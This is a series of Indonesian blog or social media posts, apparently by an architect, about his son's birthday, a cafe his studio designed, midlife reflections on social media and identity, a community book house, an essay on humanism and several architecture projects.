Miracle umurnya 7 tahun hari ini, dia sekarang sudah kelas satu sd. Ia sudah punya teman – teman dekatnya di sekolah. Hal – hal yang kami tunggu adalah ceritanya di sekolah, bagaimana ia mengisi waktu istirahatnya, apa yang terjadi kelasnya, ataupun saat – saat ketika ia pulang dan bercanda ria beserta pak Misnu yang disebutnya mbah Nu, Nurul, ataupun siapapun yang menjemputnya.
Saya kadang tersenyum – senyum melihat bagaimana Nurul anak mbah Nu kadang bercerita “hahaha miracle bilang mau punya brain yg besar biar bisa inget a lot of memories with bapak 🤣 (misnu)… iya katanya dia sayang sm sy sm mbah Nu mangkannya mau selalu inget setiap momen kalau kita sama2”. . Miracle seperti namanya, saat – saat bersamanya adalah saat yang penuh keceriaan, kesenangan, dan magis. Seperti namanya ia memberikan keajaiban berupa rasa bahagia di sekelilingnya, mukanya sumringah, energinya besar, dan hidupnya penuh dengan rasa main – main dan penasaran. Satu saat ia bertanya sewaktu pulang sekolah “papa, bagaimana kamu tau aku ini Miracle.” Atau “Apa yang papa mama rasakan waktu aku belum ada?” Kami menjawab, kamu adalah doa bagi kami, semoga kebahagiaan yang bisa kamu berikan ke kami bisa menerus ke orang lain. . Juga satu saat dia bercerita tentang pokemon, bagaimana pokemon bisa melakukan mega transformation. Ia menjelaskan hal ini dilakukan pokemon untuk membela yang lemah, kemudian saya penasaran, kalau itu tujuan pokemon lalu apa tujuan hidupmu? . Dia bilang “saya masih berpikir tentang itu”, ia menambahkan “kalau saya sudah tau nanti saya bilang. Tidak mudah memikirkan tujuan hidup, perlu waktu.” Terakhir ia balik bertanya, “pa what do you think about me? Are you happy, I am here?”
Kami menjawab, son we are very proud of you. Ia pun tersenyum, dan berkata “aku mau ke heaven dulu.” Heaven lahir 5 tahun setelah Miracle, sebagai jawaban akan doanya, ia ingin adik yang bisa diajaknya bermain atau mungkin membuat keajaiban, membahagiakan orang lain bersama – sama. . Happy birthday yang ke 7 Miraclerich Sjarief. You are the best. . Thank you kak @luil_mn udah abadikan foto Miracle dengan sangat baik 👍
Ini kafe yang kami desain yang terbaru namanya Kofuse Coffee and Dine yang didesain setelah jaman pandemi. Bisa di cek di ignya @kofuse.id untuk temen – temen yang mau nyari suasana / experience di waktu weekend besok. Hidangannya enak, soft, my preference bisa dimakan berulang – ulang.
Kami menggunakan garis – garis lengkung yang natural dan dinamis untuk desainnya dengan material bata yang digosok cat putih, beton yang digosok dengan kombinasi batu dan kayu. Kofuse memiliki nuansa seperti suasana museum, galeri yang lebih bersahaja, cantik dari dalam dan artistik.
Terima kasih ke @idrissandiya atas kepercayaan yang diberikan. Juga @junarorimpandeyofficial atas diskusinya dan wawasannya tentang makanan dan kitchen setting. Juga bu dewi, nadira, dan keisya.
Juga seluruh tim kofuse bu @nu.rulh dan tim. Terlebih lagi tim dream team kesayangan saya RAW Architecture @realricharchitecturworkshop yang sudah be kerja super hard untuk selesainya kafe ini. @joanaagustin, @andriiyansyahmr, @melisaakma, @timbulsimanjorang, @ha.ykal, @cirana_nsb, @tyodngrh dan @_finasharfina dan mamang2 ano, asep, unang, ujang, saudara2 beda bapak dan beda ibu, juga @luil_mn yang membantu
Salam dari saya @rawarchitecture_best Let’s go @kofuse.id maaaaaaemm nyammz have a great weekend. #RAW99percentfinishedproject #realrichsjarief #realricharchitectureworkshop
Sebenarnya saya enggan untuk membahas soal eksploitasi, karena ujungnya adalah soal identitas, atau mungkin saya sendiri enggan juga untuk menyinggung hal – hal personal. Ataupun mungkin saya sendiri takut apakah memang yang saya risaukan adalah hal yang saya hindari, saya irikan, atau justru hal – hal yang saya risaukan atau takutkan ini justru hal yang sedang saya kerjakan. Hal ini penting untuk bisa fokus di dalam mengeksplorasi secara total dan berani sekaligus menelusuri sisi – sisi yang membuat saya bahagia.
Tahun ini, saya berumur 40 tahun sekarang, secara umum arsitek baru berkembang di umur – umur 40, jadi perlu mengorientasikan dirinya, menginvestasikan dirinya. Mungkin di dalam kasus saya juga memilih – milih jalan mana yang harus ditempuh. Usia 40, adalah usia mematangkan diri. Seperti istilah “Midlife Criris” yang dikatakan oleh psikolog Elliott Jaquest, biasanya seseorang pada usia 40-65 tahun merenungkan kembali kedudukan profesionalitas mereka dan membuat perubahan. Pada usia ini seseorang jadi mempertanyakan banyak hal diantara kegelisahan, penuaan, tujuan yang masih ingin dicapai, sampai memperhitungkan kematian mereka. Begitu pula seorang arsitek, kematangan karyanya biasanya terbentuk di usia yang tidak muda, karena berarsitektur merupakan perjalanan yang panjang.
Salah satu arsitek yang menjadi role model saya, Renzo Piano, berumur 40 ketika Pompidou diselesaikan di 1977, ia sendiri lahir di tahun 1937. 4 tahun kemudian, selama 4 tahun barulah ia mematangkan diri di dalam karya Menil Galeri yang bertempat di kawasan rumah tinggal, sebuah tempat koleksi seni keluarga Menil. Di umur 50 an barulah ia memiliki sebuah body of work yang cukup lengkap, dengan begitu banyak variasi metode desain yang menghasilkan variasi tipologi proyek, di berbagai tempat di dunia dengan desain airport, cultural museum di Oceania, dan begitu banyak kantor, mall, residensial, dan paviliun. Selanjutnya bisa kita lihat, bagaimana ia menata ekosistem, menikmati masa tuanya dengan terus mendesain dan terus berkolaborasi dengan timnya RPBW (Renzo Piano Building Workshop). Di satu sisi saya berpendapat bahwa menjadi arsitek seperti beliau membutuhkan waktu yang panjang.
Namun, saya melihat persepsi melihat parameter sebuah kesuksesan terhadap waktu seringkali berbeda di dalam dunia digital. Dengan munculnya Tik Tok, instagram, facebook, banyak arsitek – arsitek, calon – calon arsitek, dan publik biasa, semua memiliki jejak digital dalam upaya mendefinisikan identitas diri. Identitas sendiri adalah hal yang penting, karena saya melihat Renzo Piano juga meraih identitas dirinya melalui begitu banyak hal yang bisa dipelajari yakni kliennya, publik dan intelektual melalui referensi tulisan ataupun verbal, kritik arsitektur, publikasi media melalui publikasi karyanya, penghargaan ataupun jejak – jejak media sosial yang dilakukannya dan juga firma RPBW (Renzo Piano Building Workshop). Ada yang saya pertanyakan di dalam mudahnya dan cepatnya identitas itu dibentuk sekarang melalui sosial media. Ibaratnya dengan media sosial, saya sendiri dengan mudah untuk mensejajarkan diri dengan arsitek – arsitek lainnya. Apakah sebenarnya sejajar ? ataukah apa yang sedang saya sejajarkan ini adalah upaya untuk mengaktualisasikan sisi ingin tampil saja. Mungkin arsitektur menjadi kompleks karena manusia pada dasarnya kompleks dan ingin memburu – buru waktu. “ini ada apa ya ?” seringkali saya merasa dieksploitasi dengan informasi yang terjadi tanpa diberitahu apa arahnya, apa maksudnya. Taruhlah mungkin kita ada di satu kumpulan. Anehnya di dalam satu titik, apa yang saya kerjakan jadi berorientasi juga ke ekosistem media sosial yang begitu masif, saya baru sadar saya berubah.
Bagian 2 | Midlife Crisis ?
Saya jadi teringat, peribahasa ekosistem merubahmu, dan kamu pun merubah ekosistemmu. Saya berpikir apa ada ya kecenderungan praktik yang mengedepankan apa – apa yang dilakukan perlu dibingkai dalam kacamata media sosial. Dan saya juga berpikir, mungkin saya saja yang terlalu kuno. Hal ini adalah hal yang terus baru untuk saya yang konvensional/malah tradisional dalam berpikir, dan wacana ini terus menjadi pergumulan untuk saya yang sedang terus mendefinisikan apa yang saya kerjakan sampai sekarang.
Di dalam keseharian, saya terpapar referensi visual. Referensi ini sangat memudahkan klien untuk memahami arsitektur. Perlu diingat bahwa arsitektur lebih daripada sebuah gambar visual, namun juga gambar teknis yang berupa instruksi berupa detail bubble programming , space planning, dan materialitas. Seorang calon arsitek yang tidak memahami keutuhan dari sebuah karya membentuk pemahaman arsitektur yang sebatas visual saja.
Tapi hal – hal yang saya bimbangkan di dalam kebimbangan di atas adalah, sejauh mana memang proses ekploitasi itu dilakukan oleh para praktisi arsitek? . Eksploitasi itu juga terkait di banyaknya klaim – klaim terbaik, terindah yang dimainkan di dalam persona – persona yang terbentuk. Saya sendiri juga berpikir, apa saya juga yang sering terjebak di dalam jebakan identitas, seperti itu, dan sejenak saya berpikir, refleksi ini berputar – putar tidak pernah selesai.
Kemarin saya bertemu mbak Sunthy, saya lama tidak bertemu dia. Tentunya saya selalu ingat bahwa tulisannya mengenai Bare Minimalist, berjudul “Function Over Fashion” adalah salah satu tulisan yang mengupas ide – ide di balik sebuah proyek. Yang menariknya, ia memulai dengan pertanyaan – pertanyaan sebelum mengamati, dan di tulisannya banyak referensi – referensi reflektif dari klien kami, Charles Wiriawan. Tentunya proses saya bertemu beliau juga ada kaitan dengan bisnis media dibaliknya, ada kepentingan mendapatkan karya dari para arsitek untuk kepentingan publikasi.
Dalam pertemuan kami, di satu lapak, ada kata – katanya yang membekas dalam ingatan saya “begitu membaca tulisan, sebenarnya bisa kita baca mana tulisan yang menggurui atau reflektif.” Kemudian kita berdiskusi perjalanan saya melihat polarisasi yang terjadi dengan kawan – kawan di barat (Jakarta Sumatra), timur (Jawa Timur khususnya), dan Jawa tengah (Yogyakarta, Solo) dengan berbagai macam dinamikanya kelompok kiri kanan ataupun tengah, kapitalis, sosialis, ataupun punya dogma – dogma kedaerahan. Ada yang terpolariasi sebagai arsitek yang terpinggirkan, ada juga yang terpolarisasi sebagai arsitek yang hedonistik, ada juga yang terpolarisasi sebagai arsitek yang introvert dan menyingkir ke pedalaman.
Kami berdiskusi dan saling bercerita tentang perjalanan hidup masing – masing, bersahabat dengan arsitek – arsitek dari jauh, dan memisahkan preferensi. Ada yang secara pribadi sesuai dengan preferensinya dan ada yang tidak sesuai. Diskusi berlanjut bahwa ada fenomena klaim – klaim yang kurang dalam/tidak berdasar/hanya judul yang dilakukan yang bukan preferensi kami. Contohnya arsitek dengan jualan material tertentu seperti beton atau batu batanya, ataupun dengan kayu atau bambu – bambunya, juga arsitek dengan medianya, klaim – klaim teritori itu, tidak menyehatkan. Saya bertanya – tanya dalam hati apa yang tidak menyehatkan tersebut karena perasaan tereksploitasi ?
Mbak Sunthy juga melanjutkan ceritanya, di dalam menggawangi beberapa arsitek yang ingin merajut media dan arsitektur di dalam platform design stories – spotify dsb. Ini adalah runtunan dari proses eksplorasi diri mbak Sunthy, memulai dengan pertanyaan di beberapa media yang berbeda. Kalau saya pikir, pertanyaan – pertanyaan yang diberikan sebenarnya untuk menjelaskan bahwa banyak elemen konteks arsitektur misal klien / arsitek / tempat / iklim / material / pembangunan / penemuan itu memiliki daya untuk saling tarik menarik. Dan elemen tersebut menjelaskan bahwa singularitas itu terjadi dari hibriditas elemen tersebut. Nah kemudian hal ini menjadi personal begitu menjelaskan preferensi saya. Bahwa ada subjektifitas, kecocokan dan juga ketidak cocokkan, nah hal tersebut mungkin yang bisa mejelaskan ketidak setujuan satu dengan yang lain. Dan hal tersebut memancing wacana.
Di dalam membahas eksploitasi terhadap arsitektur, saya secara personal, berusaha cukup hati – hati di dalam memainkan media sosial. Secara pribadi saya merefleksikan bahwa media sosial itu bisa jadi 4 hal yang perlu dijaga, di dalamnya adalah persahabatan, keluarga, keyakinan, kesehatan. dan 1 hal lainnya adalah tentang bisnis. 4 hal itu sifatnya rapuh, mudah retak, seperti gelas kaca, dimana sekali retak tidak akan kembali. Namun hal yang kelima yaitu bisnis yang bisa dieksplotiasi, sifatnya seperti lilin yang bisa dibentuk apabila dilelehkan. Persahabatan, keluarga, keyakinan, dan kesehatan adalah investasi seumur hidup kita, kenangan yang membentuk pribadi kita seutuhnya. Sedangkan bisnis, selalu rentan untuk dibentuk dan dieksploitasi, tinggal perlu api, dengan mudah.
Berbeda dengan bisnis yang seperti lilin yang bisa dibentuk, 4 lainnya bisa diibaratkan gelas kaca, yang membentuknya juga diperlukan api, sekali terbentuk gelas kaca tersebut, gelas kaca yang diibaratkan persahabatan, keluarga, keyakinan dan kesehatan akan kaku dan tidak akan bisa kembali, kecuali pecah. [1]
Semoga ketika pecah, bukan berarti tidak bisa kembali, namun bara api yang diperlukan untuk menyatukannya kembali bukan menggunakan api lilin. Namun api tungku dengan 1400 derajat celcius dan itu pasti bukan nyala api lilin dari bisnis belaka. 1400 derajat itu adalah vitamin C, cinta yang bisa mengubah semua orang menjadi kawan, termasuk musuh saya yang terbesar yaitu diri saya yang trauma terhadap masa lalu saya sendiri.
Terima kasih Tuhan untuk memberikan orang – orang yang bisa memberikan pelajaran berharga untuk memisahkan yang mana gelas kaca dan yang mana lilin yang bisa dibentuk sehingga yang namanya persahabatan, keluarga, keyakinan, dan kesehatan akan terjaga dengan apik.
note :
[1] Terinspirasi dari Bryan Dawson tentang cerita “Jugling Glass and Rubber Balls” lihat pidato di Georgia Tech September 1991.
Disunting oleh by Lu’luil Ma’nun, penyunting membantu menyusun diagram / gambar / komposisi / dan juga tulisan – tulisan pembantu.
Book House . Kemarin saya diminta oleh IAI Jakarta untuk membawakan materi “Manajemen Biro Arsitek”. Kemudian saya sendiri banyak bertanya – tanya tentang sejauh mana dampak ekosistem praktik arsitektur. Di mana isu-isu lingkungan, kepadatan kota, menjadi problematika yang bisa membuat arsitektur itu bisa punya kontribusi. Hipotesanya adalah apa saja yang bisa dilakukan di dalam skala mikro karena soal biro adalah soal yang mikro di dalam ekosistem praktik arsitektur ? . Kemampuan manajerial dan penyusunan teknik desain adalah dua hal yang penting. Kemampuan Manajerial ini dibahas Undi Gunawan di acara nonton bersama video Guha. Dengan kegiatan terus mendesain, membangun, menginspirasi dan dampaknya dengan memberikan contoh ke orang-orang sekitar. Hal ini dimulai dari pelayanan yang baik, membina tim dan manajemen yang baik. Disitulah arsitek memiliki tanggung jawab untuk melatih calon-calon penerusnya dan mengkomunikasikan praktik yang sehat kepada klien dan umum. . Ruang mikro (Ruang yang terbatas) adalah salah satu kontribusi yang menjawab keterbatasan ruang. Dan ada juga kaitan teknologi bangunan struktur bentang pendek, dan memadukan dengan manajemen air limbah dan sebagainya. Contohnya, Rumah Buku yang sudah berpindah program berkali-kali, dibongkar pasang sebagai ruang tidak permanen. Tempat pertamanya adalah di pekarangan rumah orang tua saya. Yang kemudian berpindah di benteng di Guha sebagai tempat pameran. Tempat terakhirnya adalah di pekarangan Guha anak-anak tetangga berkumpul, main, baca buku, diskusi, les menggambar, sekaligus tempat mengerjakan tugas, dan terkadang ruang-ruang itu berubah menjadi ruang untuk upacara 17-an. Detail Rumah Buku ini terbuat dari rak buku berbentuk kotak, bentuk bentang sederhana, penempatan mezanine, dan fisika bangunan dengan corong udara, bukaan samping. . Rumah Buku salah satu bentuk kontribusi pemikiran bahwa arsitektur bisa saja membentuk apapun dari material apapun dan adaptif mengikuti perkembangan jaman. . #RAWongoing Project: (Cover) Book House Acara di @iaijakarta . #realricharchitectureworkshop#realrichsjarief#architecture#arsitek
Dua bulan terakhir ini, kami merenovasi struktur dari Summer Pavilion/rumah buku untuk menambah 2 buah mezanin tempat tidur penjaga rumah buku sekaligus pengemong anak – anak kecil dari kampung sekitar rumah kami. Perpustakaan ini adalah perjuangan dari saya untuk melakukan kegiatan sosial di sekitar komplek kami dimana banyak anak – anak membutuhkan ruang singgah, dan visi apa yang bisa dicapai di masa depan. Titik lompatannya adalah bagaimana tempat yang tersedia bisa dijadikan sebagai ruang aktif, tempat bagaimana anak – anak bisa belajar, bermain, dan mendapatkan komunitasnya. Dibalik itu semua saya menulis beberapa refleksi dengan perspektif humanisme terhadap perjalanan hidup manusia, terkait kepercayaan, dogma, ataupun refleksi terhadap kekuatan – kekuatan dibalik arsitektur.
Masyarakat modern ditawarkan kekuasaan yang memiliki konsekuensi bahwa kita sebagai manusia cepat atau lambat akan melepaskan kepercayaan terhadap kosmis yang sejauh ini dipahami pahami sebagai sebuah makna kehidupan. Sedangkan sepanjang sejarah, nabi dan filsuf meyakini bahwa ketika umat manusia berhenti meyakini rencana kosmis, maka konsekuensinya adalah seluruh ketertiban di dunia ini akan lenyap. Namun sampai tahun 2016 umat manusia berhasil memiliki keduanya yaitu tak ada satu pihak pun yang membatasi kekuasaan dan di sisi lain masih meyakini bahwa hidup ini memiliki makna.
Humanisme merupakan sebuah kredo revolusioner yang telah menawarkan sebuah solusi penangkal untuk eksistensi tanpa makna dan tanpa hukum sehingga agama yang revolusioner seharusnya juga humanis berprinsip berorieontasi kemanusiaan dan mengharapkan kemanusiaan mampu mredefinisikan makna ke-Tuhan-an, sebagai contoh dalam berbagai agama seperti Kristen Katolik, sedangkan hukum alam masih berperan dan berlaku dalam kepercayaan Buddha dan Daoisme. Dalam konsep tradisional, kepercayaan terhadap kosmis raya memberikan makna bagi kehidupan manusia, namun konsep humanisme adalah manusia harus menarik pengalaman dari dalam diri mulai dari makna kehidupan dalam diri masing – masing individu hingga makna seluruh jagat raya untuk menciptakan makna bagi sebuah dunia yang tidak bermakna. Pada akhirnya inti dari revolusi religius modernitas adalah: mendapatkan kepercayaan pada kemanusiaan dan bukanlah menghilangkan kepercayaan kepada Tuhan.
Dua bulan terakhir ini, kami merenovasi struktur dari Summer Pavilion/rumah buku untuk menambah 2 buah mezanin tempat tidur penjaga rumah buku sekaligus pengemong anak – anak kecil dari kampung sekitar rumah kami. Perpustakaan ini adalah perjuangan dari saya untuk melakukan kegiatan sosial di sekitar komplek kami dimana banyak anak – anak membutuhkan ruang singgah, dan visi apa yang bisa dicapai di masa depan. Titik lompatannya adalah bagaimana tempat yang tersedia bisa dijadikan sebagai ruang aktif, tempat bagaimana anak – anak bisa belajar, bermain, dan mendapatkan komunitasnya. Dibalik itu semua saya menulis beberapa refleksi dengan perspektif humanisme terhadap perjalanan hidup manusia, terkait kepercayaan, dogma, ataupun refleksi terhadap kekuatan – kekuatan dibalik arsitektur.
Revolusi humanisme dapat dipahami kedalaman dan implikasinya melalui kultur modern Eropa yang berbeda dengan kultur Eropa pada abad pertengahan dimana pada tahun 1300 orang – orang di London, Paris dan Toledo mempercayai bahwa hanya Tuhan yang bisa mendefinisikan kebaikan, keindahan, dan kebenaran dan cenderung tidak bisa mempercayai bahwa manusia mampu menentukan sendiri kebenaran, keindahan dan kebaikan sehingga pandangan ini telah menjadikan Tuhan sebagai sumber tertinggi yang bersifat otoriter. Prinsip Tuhan sebagai makna dan otoritas dapat dikatakan cukup mempengaruhi manusia dalam kehidupan sehari – hari. Sebagai contoh kasus ini tercermin melalui sebuah fenomena ketika seorang perempuan yang baru saja menikah bersenang – senang dengan tetangganya dan melakukan hubungan seks dengan lelaki yang merupakan tetangganya tersebut. Setelah melakukan perbuatan tersebut ia mulai bimbang dan mempertanyakan apakah yang telah dilakukanya adalah perbuatan baik atau buruk sehingga ia perlu untuk mendatangi pendeta untuk membimbingnya. Kemudian pendeta tersebut mengungkapkan tentang apa yang disebut dengan perzinaan. Pendeta tersebut dengan tegas memfonis perempuan itu telah melakukan dosa besar. Pada akhirnya perempuan tersebut ber-nazar untuk tidak melakukanya lagi dan menanggung semua konsekuensi atas dosa yang telah diperbuatnya.
Dari kasus di atas dapat dipahami bahwa ketika manusia ingin memahami apa yang telah diperbuatnya maka ia akan mencermati dengan hati dan perasaannya. Ketika perasaannya tidak jelas ia akan menghubungi temannya untuk mencurahkan isi hatinya, jika keadaan masih terasa membingungkan ia akan pergi ke terapis untuk mengutarakan masalahnya karena secara teoritis kedudukan terapis sama dengan pendeta pada abad pertengahan.
Dari apa yang telah dipelajari tentang perasaan, hal ini cukup erat kaitannya dengan apa yang telah Nietzche deklarasikan yaitu “Tuhan Telah Mati”. beberapa kasus juga telah menggambarkan bahwa dalam politik humanis pemilihlah yang paling tahu, dalam ekonomi humanis pelanggan selalu benar, dalam estetika humanis keindahan ada pada mata penonton, dalam etika humanis jika terasa baik-lakukanlah, dan dalam pendidikan humanis prinsipnya adalah berpikirlah untuk diri anda sendiri. Pada akhirnya sebagai manusia masing – masing dari kita memiliki keyakinan yang kuat terhadap hati. Bahkan ketika manusia memiliki keyakinan pada Tuhan pun itu karena hatinya meyakini bahwa ia mempercayai Tuhan di dalam hatinya. Hal ini cukup membuktikan bahwa otoritas tertinggi adalah humanisme dan bukanlah Tuhan.
Namun Hal ini tidak cukup hanya sampai perasaan saja karena tidak menutup kemungkinan bahwa perasaan sendiri juga memiliki kelemahan sehingga hal ini menjadi soal bagaimana metode untuk menilai otoritas dan mendapatkan pengetahuan sejati. Dalam kepercayaan Eropa pada abad pertengahan rumus pengetahuan adalah Pengetahuan = Kitab Suci x Logika sehingga ketika seseorang ingin memahami makna dari teks kitab suci perlu untuk membaca kitab suci dan menelan teksnya dengan logika yang telah dimiliki. Hal ini digambarkan melalui: ketika seseorang inging mengetahui bentuk permukaan bumi. Meraka akan menggunakan penggalan teks dari kitab suci seperti Yesaya 40:22 yang menyatakan bahwa Tuhan “duduk bertakhta diatas lingkaran bumi” sehingga didapati jawaban bahwa permukaan bumi itu bulat.
Sedangkan revolusi saintifik mengajukan rumusan bahwa Pengetahuan = Empiris x Matematika. Ketika ingin mengetahui jawaban atas pertanyaan perlu untuk menemukan data empiris yang relevan, dan kemudian menggunakan alat – alat matematika untuk menganalisanya. Hal ini dapat digambarkan melalui fenomena manusia yang ingin mengukur bentuk sebenarnya dari bumi. Jawabanya dapat ditelusuri melalui pengamatan terhadap matahari, bulan, dan planet – planet lain disekitar bumi. Setelah hasil observasi terkumpul maka bisa menggunakan trigonometri untuk menyimpulkannya.
Namun meskipun demikian, disisi lain humanisme juga menawarkan sebuah alternatif yaitu ketika manusia telah mendapatkan kepercayaan terhadap dirinya sendiri maka rumusan untuk mendapatkan pengetahuan yang etis adalah Pengetahuan = Pengalaman x Sensitivitas. Artinya ketika kita ingin mengetahui jawaban etis atas pertanyaan apapun perlu untuk menjangkau pengalaman dalam diri kemudian mengamatinya dengan sensitivitas yang tinggi.
Rumus Pengetahuan = Pengalaman x Sensitivitas telah membawa persepsi kita kepada permasalahan berat seperti perang. Hal ini mulai dipikirkan oleh seniman Dix dan Lea dimana mereka mencoba untuk mengungkap kebenaran tentang perang yang selama ini dianggap sebagai sesuatu yang mengerikan. Dix dan Lea mendapatkan jawaban bahwa di satu sisi perang adalah neraka namun disisi lain perang juga merupakan jalan menuju surga.
Hal ini dapat dilihat melalui fenomena seorang Katolik yang berperang dalam Pertempuran Gunung Putih dan ia berkata pada dirinya sendiri bahwa “Benar saya menderita. Namun Paus dan Kaisar berkata bahwa kita perang untuk kebaikan, jadi penderitaan saya ada artinya.” Sedangkan Otto Dix justru menggunakan logika yang sebaliknya bahwa pengalaman personel sebagai sumber dari segala makna sehingga cara berpikirnya menjadi: “Saya menderita-dan ini buruk-karena itu seluruh perang adalah buruk. Apabila Kaisar dan Kependetaan tetap mendukung perang ini, mereka pasti salah.”
Kemudian lambat laun Humanisme mulai terpecah hingga menjadi tiga cabang utama yaitu: Humanisme ortodoks, Humanisme Sosialis, dan Humainsme Evolusioner :
Humanisme ortodoks merupakan cabang humanisme yang memandang bahwa setiap manusia adalah individu yang unik yang memiliki suara hati yang khas dan serangkaian pengalaman yang tak akan pernah terulang. Oleh karena itu perlu untuk memberikan kebebasan sebesar mungkin pada setiap individu untuk mengalami dunia dengan mengikuti kata hatinya dan mengekspresikan kebenaran dari dalam dirinya. Dengan penekanan kepada kebebasan individu maka ortodoks humanisme memiliki cabang juga yang dikenal sebagai humanisme liberal atau biasa disebut dengan liberalisme. Salah satu prinsip Liberalisme seperti dalam seni yang memandang bahwa keindahan ada di mata penonton. Kemudian ketika humanisme mendapatkan kredibilitas sosial dan kekuatan politik, dua cabang yang berbeda mulai tumbuh darinya yaitu humanisme sosialis yang mencakup sosialis dan komunis, dan humanisme evolusioner dimana penyokong yang paling terkenalnya adalah kaum Nazi. Kedua cabang tersebut juga menyetujui liberalisme bahwa pengalaman manusia merupakan sumber tertinggi dalam hal makna dan otoritas.
Humanisme Sosial pada dasarnya sebenarnya bertentangan dengan liberalis karena hanya fokus terhadap pengalaman setiap individu sedangkan prinsip utama dari sosialis adalah memfokuskan pada apa yang telah dialami oleh orang lain. Artinya Humanisme sosial benar setuju dengan ortodoks namun dalam hal pengalaman manusia adalah sumber segala makna akan tetapi ada miliaran orang di dunia dan sosialis mereka semua sama bernilainya dengan kita.
Humanisme evolusioner berpijak dari teori evolusi Darwin bahwa konflik adalah sesuatu yang harus dihargai. Konflik merupakan bahan baku utama bagi seleksi alam untuk mendorong evolusi bergerak maju. Hal ini dapat diambil contoh dari fenomena ketika pengalaman – pengalaman manusia bertabrakan maka manusia yang kuat akan menggilas habis manusia lain yang lebih lemah. Namun hal positif yang didapat ketika menggunakan teori evolusi ini adalah bahwa manusia akan berevolusi menjadi manusia yang lebih kuat dan tangguh hingga akhirnya melahirkan manusia super. Sedangkan hubungannya terhadap humanisme ortodoks adalah humanisme evolusioner menganggap bahwa perang adalah sesuatu yang berharga dan bahkan penting karena memiliki presentase yang tinggi terkait evolusi.
Berkaca dari perhelatan antara kepercayaan Eropa pada abad pertengahan yang merumuskan (Pengetahuan = Kitab Suci X Logika) dengan rumusan (Pengetahuan = Pengalaman x Sensitivitas), pada akhirnya didapati kesimpulan bahwa agama-agama tradisional tidak akan mampu menjadi alternatif yang riil untuk liberalisme karena kitab suci tidak memiliki apapun yang bisa dikatakan tentang rekayasa genetika atau kecerdasan artificial. Begitupun dengan sebagian besar pendeta, rabbi, dan mufti tidak akan memahami terobosan-terobosan mutakhir dalam biologi dan ilmu komputer. Kalaupun jika mereka ingin memahaminya perlu untuk membaca banyak arstikel-artikel ilmiah dan melakukan eksperimen lab dan bukannya menghafal dan memperdebatkan teks-teks kuno. Pada dasarnya kedua hal ini adalah suatu pilihan karena keduanya perlu menggunakan banyak waktu.
Sedangkan diibalik dari kemenangan liberalis ini adalah terjadinya fenomena mendorong manusia untuk menjangkau imortalitas, kebahagiaan, dan keilahian. Dengan bertumpu pada prinsip bahwa kehendak pemilih dan pelanggan tak pernah salah, para ilmuan dan insinyur mulai mencurahkan energi mereka dalam proyek-proyek liberal. Kemudian skenario terburuk dari yang telah ditemukan ilmuan dan dikembangkan oleh insinyur dapat memapar keduanya pada cacat bawaan dalam pandangan dunia liberal dan kebutaan pelanggan dan pemilih. Hal ini disebabkan karena ketika rekayasa genetika dan kecerdasan artifisial menampakkan potensi penuh, liberalisme, demokrasi, dan pasar bebas menjadi suatu hal yang usang seperti halnya pisau batu, kaset, Islam, dan komunisme. Hal ini membawa manusia kedalam evolusi keadaan dirinya di dalam sebuah ekosistem berpikir, sebuah revolusi humanistik, yang berarti kepada permulaan runtuh akan kontrol dirinya akan humanitas itu sendiri.
Melihat praktik arsitektur sekarang ini di Indonesia, dimana kesadaran saya sendiri juga mulai sudah saya pertanyakan, sejauh mana saya sadar, mau bergerak, dan kemudian menebar benih – benih kemanusiaan. Jujur saya melihat jalan masih sangat panjang, sejauh mana arsitektur bisa masuk ke tingkatan humanisme yang evolusioner bahwa konflik yang dihadapi, tidak dihindari. Hal ini menggarisbawahi bahwa menghadapi konflik tidaklah mudah, dan mau tidak mau sistem yang menantang humanisme akan terus berhamburan termasuk konstestasi karya arsitektur, sejauh mana cerita – cerita humanistik digaungkan terutama kaitannya dengan politik, ekonomi, dan sosial yang pada intinya ujung – ujungnya soal kejujuran untuk selalu humanistik sebelum hilangnya proses tersebut tanpa kita sadari di tengah revolusi humanistik.
Kemarin kami satu studio foto bersama, dan akhirnya merayakan kebersamaan dengan es “dungdung”, karena suaranya yang dung dung. Momennya adalah perayaan sederhana karena salah satu karya kami @piyandeling masuk dalam daftar kategori rumah pedesaan. Kami mengucapkan terima kasih kepada @dezeenawards_@dezeen . . Kategori pedesaan adalah kategori dalam Dezeen yang terdiri dari beberapa proyek rumah yang biasanya terletak di daerah terpencil yang kepadatannya lebih sedikit. Di Piyandeling, Lokasi terpencil membuka kepekaan kami terhadap material dan kerajinan setempat seperti Bambu dan kerajinannya digunakan sebagai bahan pertimbangan keputusan desain di dalam menggubah program dengan biaya dan waktu membangun yang terbatas. . Di dalam ranah global, karya – karya yang masuk membawa pendekatan yang bervariasi terhadap arsitektur. Kami belajar dari bahwa pembelajaran disini memiliki benang merah penggunaan material setempat, penggunaan inspirasi arsitektur tradisional, dan responsif terhadap iklim setempat. Hal tersebut di manifestasikan ke dalam pembentukan program ruang, bentuk massa, dan susunan detail arsitektural. Kami menarik 3 konsepsi di atas sebagai sebuah cara mendesain di RAW Architecture . . Piyandeling disusun dari 3 bagian utama, bagian pertama adalah Sumarah, tempat tinggal para pekerja (bedeng) yang berubah menjadi rumah tinggal 3 lantai dan dibungkus oleh plastik “recycle”. Bagian kedua adalah Kujang adalah setengah workshop, setengah kediaman dan ruang serba guna tempat fabrikasi kerajinan bambu. Dan bagian ketiga adalah Saderhana yang merupakan tempat tinggal sekaligus ruang doa dan gudang. Totalnya ada 7 kamar dengan berbagai macam besaran yang didukung oleh ruang serba guna sebagai rumah buku(perpustakaan warga) dan ruang doa.
Studio RAW Architecture terus beradaptasi di dalam proyek – proyeknya, ada pancaran dan pantulan dari proyek – proyek di sekitar kami. Proyek – proyek seperti Rumah Harris-Tiffany, dan Lumintu juga memiliki hubungan bagaimana ruang dan detail arsitektur yang tidak terduga terimplementasi dengan cara dan materialitas yang berbeda. Rumah Lumintu adalah rumah Setian dan Mariana, mereka mendambakan rumah yang artistik. Setian selalu menanyakan “bisa begini?” saya selalu menjawab “bisa”, karena setiap saat adalah kesempatan untuk bereksplorasi. . Apa yang dipelajari dari rumah ini adalah bagaimana detail-detail fungsional yang unik yang merupakan kombinasi industri dan buatan tangan bisa dikolaborasikan dengan para tukang – tukang. Kombinasi tersebut menembus stereotipe detail – detail arsitektural normal. Hal tersebut adalah lumintu.”Lumintu artinya berkelanjutan dan mengalir, konsep tersebut membuat kami dan para tukang – tukang kami bisa mendapatkan kepercayaan diri sehingga bisa mendapatkan tempat di dalam ekosistem arsitektur bersama klien kami.” . Di dalam mengerjakan proyek, studio kami memiliki pola mendesain dengan bersahabat dengan banyak orang. Hal ini seringkali kami diskusikan dengan para mahasiswa, internship dan tim. Internship 